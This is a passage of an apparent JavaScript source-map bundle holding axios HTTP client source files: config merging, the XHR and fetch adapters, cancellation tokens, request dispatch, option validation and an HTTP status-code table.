defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nexport default CancelToken;\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n","const HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 